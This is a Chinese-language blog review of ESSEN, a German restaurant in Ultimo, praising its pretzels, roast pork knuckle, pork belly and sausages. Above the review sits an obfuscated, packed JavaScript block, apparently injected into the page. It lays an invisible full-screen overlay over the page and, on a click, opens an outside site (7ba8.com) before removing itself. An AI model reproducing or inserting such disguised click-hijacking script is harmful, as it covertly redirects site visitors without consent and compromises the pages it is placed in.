<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>【ESSEN】
地址：135 Broadway，Ultimo
一直都不否认自己就是一个食肉主义者，无肉不欢把酒言欢的时光总觉得是最幸福的。一度也怀疑自己女人的躯壳下是不是真的隐藏着一个汉子的灵魂，褪色去那些矫情的小心思，总是喜欢简单直来直往的性格。
这家小餐馆曾是我在学校周围厮混的时候，每隔一段时间就要去打次牙祭的地方，现在还记得当服务生看到一个小女生坐在靠窗的那个角落，对着一个巨大无比的猪肘暴露出吃货之本性的时候，那个“我伙呆”滴小表情着实好玩。店内一罐罐的泡菜坛子有着别样的情愫，总觉得这是很神奇的一个过程，各类不同的食材，经过时间的沉淀，开始通过有益菌逐渐的转换成不同的分子，最后碰撞出更精彩的味道。
pretzel是我最爱的一款面包，或许是从小就有胃酸的毛病，对于这种强碱性的气息总是深深着迷。大颗大颗的海盐粗粒，展现着粗犷的线条，配着一抹butter，香浓的面粉与黄油交错。再来一口鲜扎啤，唤醒各类敏感的食肉小细胞。
这里的烤猪肘，酱汁没有那么的咸，厚厚的猪皮经过炸制烘烤过后变得十分的酥脆，然而内在的肉质却十分的滑嫩，旁边的酸菜碎恰好可以化解肉质的油腻。
若是觉得如此庞大的一份hold不住的话，那烤猪腩肉的这碟餐或许是个不错的选择。不再是传统的土豆泥，而是把土豆擦成丝然后用cheese和butter煎成团放在一旁。猪腩肉两肥三瘦的分布，在口感上比猪肘更加的柔软。顺着肉丝的纹路渗下来的汁液伴着酸菜丝和土豆丝，真是回味无穷。
如果是两人结伴而行，一份share的主餐不够，那就再来一个sausage plate吧。都知道德国是食肉者的天堂，各类的香肠层出不穷，还有一个大肉丸结伴而行。其实比较喜欢的是蒜香口味和传统口味，酸黄瓜当配菜，荤素搭配，营养均衡。
店内粗犷的装修风格，不论是原木的桌椅，还是石头砌成的内墙，都让人有穿越回德国本土大快朵颐的错觉之感。不如找一天风轻云淡的日子，拉着小伙伴一起去开启美食之旅吧！ |
收藏
